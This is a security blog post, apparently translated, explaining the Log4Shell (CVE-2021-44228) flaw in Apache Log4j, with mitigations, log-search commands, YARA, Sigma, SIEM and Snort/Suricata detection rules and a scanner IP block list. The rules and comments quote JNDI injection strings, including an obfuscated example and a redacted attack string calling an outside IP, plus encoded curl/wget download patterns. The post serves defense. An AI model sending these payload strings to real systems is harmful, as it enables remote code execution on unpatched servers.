All posts
Adli BilişimLinuxSiber Güvenlik

What Is This Log4j RCE (Log4Shell)?

In my new article, I'll be talking about a vulnerability that has been heavily discussed over the past few days. I hope it's useful. :) The vulnerability…

Mehmet Kadir CIRIK

10 min read

Hello everyone, in my new article I’ll be talking about a vulnerability that has been heavily discussed over the past few days. I hope it’s useful. :)

The vulnerability published under Remote Code Execution (RCE) CVE-2021-44228 allows malicious actors to take over systems running Apache Log4j through Remote Code Execution (RCE). RCE, or remote code execution, allows malicious actors to gain full access to a system.

What Is Log4j?

Log4j is a logging library developed by the Apache Software Foundation. It’s used by Java developers. Log4j performs level-based logging on demand and is present and used in many applications that use Java.

What makes this vulnerability more significant than others is that Log4j is a library. Because of this, a large number of applications and programs are affected by this vulnerability.

For example;

If a vulnerability in an application only affects that application, a patch can be applied to that application and exploitation of the vulnerability can be prevented. However, because Log4j is a library, it affects multiple applications at once, creating an extremely wide attack surface. As a result, many organizations and institutions, and even hackers, are trying to find the vulnerability by testing it across a large number of applications through trial and error.

Products and systems affected by this vulnerability

As mentioned above, because Log4j is a library, it’s not possible to say that this vulnerability affects only a specific application. For this reason, the right approach to determining whether an application is affected by this vulnerability is to ask whether it uses the Log4j library.

However, if an application uses Java, there’s a high chance it also uses Log4j. For this reason, applications that use Java should be checked and patched as needed.

  • Apple
  • Steam
  • Twitter
  • Baidu
  • Tesla
  • LinkedIn
  • Amazon
  • ElasticSearch
  • Google
  • Palo Alto
  • Dell
  • IBM QRadar SIEM
  • VMware
  • Apache Tomcat …

Many products and vendors have been affected by this vulnerability. You can access a list that’s updated every hour via the link in the sources section.

Mitigations you can apply

Since the vulnerability came to light, it’s been observed that payloads are being sent via user-agent over HTTP/HTTPS, with a very high volume of attempts being made this way. On firewalls, in order to reduce the impact of the attack, access to LDAP, DNS, and RMI ports needs to be blocked. Attackers use these protocols to send packets back and determine whether their attack succeeded or failed.

There are multiple ways to protect against this vulnerability. The first is to update to a patched version. If a version update isn’t possible, the following steps should be applied.

  1. For Log4j v2.10 and earlier, the following parameter needs to be set to true in the JVM configuration.
log4j.formatMsgNoLookups=true
  • 2- Update Apache to Log4j v2.15.0
  • 3- You can remove the JndiLookup class from the jar using a command line like the one below.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Detecting which systems are using Log4j

You can use the following tool to scan directories where Linux log sources are located.

On Linux systems, you can search uncompressed files under /var/log using the command line below.

sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log

On Linux systems, you can search compressed files under log using the command lines below.

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
sudo find /var/log/ -name “*.gz” -type f -exec sh -c “zcat {} | sed -e ‘s/\${lower://’g | tr -d ‘}’ | egrep -i ‘jndi:(ldap[s]?|rmi|dns):'” \;

On Windows systems, the command line below is used.

gci ‘C:\’ -rec -force -include *.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp Path

Yara Rule

rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft {
   meta:
      description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 60
   strings:
      $x1 = "${jndi:ldap:/"
      $x2 = "${jndi:rmi:/"
      $x3 = "${jndi:ldaps:/"
      $x4 = "${jndi:dns:/"
   condition:
      1 of them
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard {
   meta:
      description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 80
   strings:
      $x1 = /\$\{jndi:(ldap|ldaps|rmi|dns):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
      $fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
   condition:
      $x1 and not 1 of ($fp*)
}

rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
   meta:
      description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/Reelix/status/1469327487243071493"
      date = "2021-12-10"
      score = 70
   strings:
      /* curl -s  */
      $sa1 = "Y3VybCAtcy"
      $sa2 = "N1cmwgLXMg"
      $sa3 = "jdXJsIC1zI"
      /* |wget -q -O-  */
      $sb1 = "fHdnZXQgLXEgLU8tI"
      $sb2 = "x3Z2V0IC1xIC1PLS"
      $sb3 = "8d2dldCAtcSAtTy0g"
   condition:
      1 of ($sa*) and 1 of ($sb*)
}

Detecting with a SIEM

In a SIEM, a search as simple as index=* ${jndi:*} is enough to get results.

title: Log4j RCE [CVE-2021-44228] Exploitation Detection Patterns (via webserver)
status: experimental
description: Detects possible Log4j exploitation patterns in user agent header on webserver logs.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
    - https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
    - https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell
    - https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/
logsource:
  category: webserver
detection:
  selection_base_ua:
    c-useragent|contains:
      - 'jndi' #real attack example: ${jndi:ldap://45.XXX.205.XXX:12344/Basic/Command/Base64/XXX==}
  selection_vars_ua:
    c-useragent|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_url: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    c-uri|contains:
      - 'jndi'
  selection_vars_url:
    c-uri|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_body: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    post-body|contains:
      - 'jndi'
  selection_vars_body:
    post-body|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  condition: (selection_base_ua and selection_vars_ua) or (selection_base_url and selection_vars_url) or (selection_base_body and selection_vars_body)
falsepositives:
  - Unknown
level: high

Elasticsearch

(((user_agent.original:*jndi* AND user_agent.original:(*ldap* OR *rmi* OR *ldaps* OR *dns* OR *lower* OR *upper*)) OR (url.original:*jndi* AND url.original:(*ldap* OR *rmi* OR *ldaps* OR *dns* OR *lower* OR *upper*))) OR (post-body:*jndi* AND post-body:(*ldap* OR *rmi* OR *ldaps* OR *dns* OR *lower* OR *upper*)))

Splunk SIEM

((((UserAgent=="*jndi*") (c-useragent="*ldap*" OR c-useragent="*rmi*" OR c-useragent="*ldaps*" OR c-useragent="*dns*" OR c-useragent="*lower*" OR c-useragent="*upper*")) OR ((c-uri="*jndi*") (c-uri="*ldap*" OR c-uri="*rmi*" OR c-uri="*ldaps*" OR c-uri="*dns*" OR c-uri="*lower*" OR c-uri="*upper*"))) OR ((post-body="*jndi*") (post-body="*ldap*" OR post-body="*rmi*" OR post-body="*ldaps*" OR post-body="*dns*" OR post-body="*lower*" OR post-body="*upper*")))

IBM QRadar SIEM

SELECT UTF8(payload) from events where ((("user_agent" ilike '%jndi%') and ("user_agent" ilike '%ldap%' or "user_agent" ilike '%rmi%' or "user_agent" ilike '%ldaps%' or "user_agent" ilike '%dns%' or "user_agent" ilike '%lower%' or "user_agent" ilike '%upper%')) or (("URL" ilike '%jndi%') and ("URL" ilike '%ldap%' or "URL" ilike '%rmi%' or "URL" ilike '%ldaps%' or "URL" ilike '%dns%' or "URL" ilike '%lower%' or "URL" ilike '%upper%'))) or (("post-body" ilike '%jndi%') and ("post-body" ilike '%ldap%' or "post-body" ilike '%rmi%' or "post-body" ilike '%ldaps%' or "post-body" ilike '%dns%' or "post-body" ilike '%lower%' or "post-body" ilike '%upper%'))

Arcsight SIEM

((((((deviceCustomString1 CONTAINS "*jndi*") AND (deviceCustomString1 CONTAINS "*ldap*" OR deviceCustomString1 CONTAINS "*rmi*" OR deviceCustomString1 CONTAINS "*ldaps*" OR deviceCustomString1 CONTAINS "*dns*" OR deviceCustomString1 CONTAINS "*lower*" OR deviceCustomString1 CONTAINS "*upper*")) OR (requestUrl CONTAINS "*jndi*" AND requestUrl CONTAINS "*ldap*" OR requestUrl CONTAINS "*rmi*" OR requestUrl CONTAINS "*ldaps*" OR requestUrl CONTAINS "*dns*" OR requestUrl CONTAINS "*lower*" OR requestUrl CONTAINS "*upper*"))) OR ((deviceCustomString1 CONTAINS "*jndi*") AND (deviceCustomString1 CONTAINS "*ldap*" OR deviceCustomString1 CONTAINS "*rmi*" OR deviceCustomString1 CONTAINS "*ldaps*" OR deviceCustomString1 CONTAINS "*dns*" OR deviceCustomString1 CONTAINS "*lower*" OR deviceCustomString1 CONTAINS "*upper*"))))

IP Addresses to Block Access to via Firewall

The IP addresses identified as actively scanning are as follows. These IP addresses should be added to the block list on your firewall. There are many IP addresses here, and the list is continuously updated. You can access this IP address list here.

https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217#file-cve-2021-44228_ips-csv

  • 167.99.88.151
  • 167.99.36.245
  • 167.71.1.144
  • 165.232.80.22
  • 165.227.32.109
  • 164.92.254.33
  • 164.52.53.163
  • 159.65.59.77…

Since I didn’t want to make this section too long, I haven’t listed a lot of IP addresses.

Suricata & Snort IDS Rules

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp rmi) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034652; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034651; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp dns) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034653; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034654; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034655; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldaps) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034656; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034657; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034658; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

Sources: